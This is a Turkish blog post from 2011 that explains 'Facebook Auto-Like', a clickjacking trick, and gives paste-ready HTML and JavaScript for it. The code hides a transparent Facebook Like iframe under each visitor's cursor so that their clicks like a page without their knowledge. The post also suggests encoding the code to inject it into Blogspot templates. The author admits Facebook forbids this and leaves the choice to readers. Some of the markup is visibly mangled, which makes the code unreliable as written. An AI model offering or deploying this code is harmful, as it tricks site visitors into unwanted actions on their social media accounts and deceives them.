Bilişim ve Hukuk!

4 May 2011

Facebook Oto-Like

Merhaba,

Çoğunuz duymuşsunuzdur, Facebook Auto-Like diye birşey geziyor ortalıkta...

Nedir peki bu?
Belki görmüşsünüzdür, facebook’un webmasterlar için bir servisi var, isteyen kendi sitesine, kendi sayfasının beğenme düğmesi gibi şeyler koyabiliyor.
Facebook Auto-Like ise bu butonun gizli halidir, yani sitenize giren bir ziyaretçi nereye tıklarsa tıklasın sayfanızı beğenmiş olur, tabi facebook hesabı açıksa. Üstelik ziyaretçinin sizin sayfanızı beğendiğinden haberi olmaz. Sitede bir yere tıkladığında mouse tıklamadı sanar -ki aslında sayfanızı beğenmiştir- ve tekrar tıklar tıklamak istediği yere



Nasıl Yapılır?
Normal bir sayfaya yapmak isterseniz şöyle yapıyoruz;

Sayfanızda <head> ve </head> etiketlerinin arasına şu kodu yapıştırıyorsunuz:

<script src= "jquery-1.4.2"><script type="text/javascript">

var interval;
$(function()
{
interval=setInterval("updateActiveElement();", 50);
});
function updateActiveElement()
{
if ( $(document.activeElement).attr(’id’)=="fbframe" )
{
clearInterval(interval);
iflag=1;
}
}
</script>

Sonra da <bOdy> ve </bOdy> etiketlerinin arasına şu kodu yapıştırıyorsunuz[KOD İÇİNDEKİ BEĞENİLECEKSAYFAADRESİ YAZAN YERİ DEĞİŞTİRİNİZ.(Bu bir sayfa adresi, internet sitesi, bir sayfa,vs.. olabilir.)]:

<div style="width:10px; height:12px; position:absolute; z-index:1; overflow: hidden; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0;" id="icontainer">
<iframe src= "a target=_blank href=http://www.facebook.com/plugins/likehref=http%3a%2f%2fwww.facebook">http://www.facebook.com/plugins/like.php?href=http%3a%2f%2fwww.facebook.com/BEĞENİLECEKSAYFAADRESİ&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:450px; height:80px;" allowtransparency="true"></iframe>
</div>
<script>
var iflag = 0;
var icontainer = document.getElementById(’icontainer’);
var standardbOdy=(document.compatMode=="CSS1Compat")? document.documentElement : document.bOdy //create reference to common "bOdy" across doctypes
function mouseFollower(e){
/* DO NOT EDIT THIS */
if (window.event)

{ // for IE
icontainer.style.top = (window.event.y-5)+standardbOdy.scrollTop+’px’;
icontainer.style.left = (window.event.x-5)+standardbOdy.scrollLeft+’px’;
}
else
{
icontainer.style.top = (e.pageY-5)+’px’;
icontainer.style.left = (e.pageX-5)+’px’;
}
}
document.onmousemove = function(e) {
if (iflag == 0) {mouseFollower(e);}
}
</script>

---------------------------
BlogSpot sitesine yapmak isteyenler, yukardaki kodları JavaScript ile encode ederek (<script>document.write(’\\u003C\\u0064\\u0069\\u0076\\u0020\\...’);) Tasarım kısmından kodları enjekte edebilirler.

İsterseniz Kodları Buradan TXT halinde indirebilirsiniz.

Peki zararı olur mu? (Legal midir?)
Facebook bu yönteme izin vermemektedir, yani legal değildir. Böyle birşey kullandığınızı anlarsa, sayfanızı veya profilinizi silebilir. Kullanıp kullanmamak size kalmış, biz verelim de

Takıldığınız, yapamadığınız yer varsa konu altından veya PM ile sorabilirsiniz...

Selametle...

Hiç yorum yok:

Yorum Gönder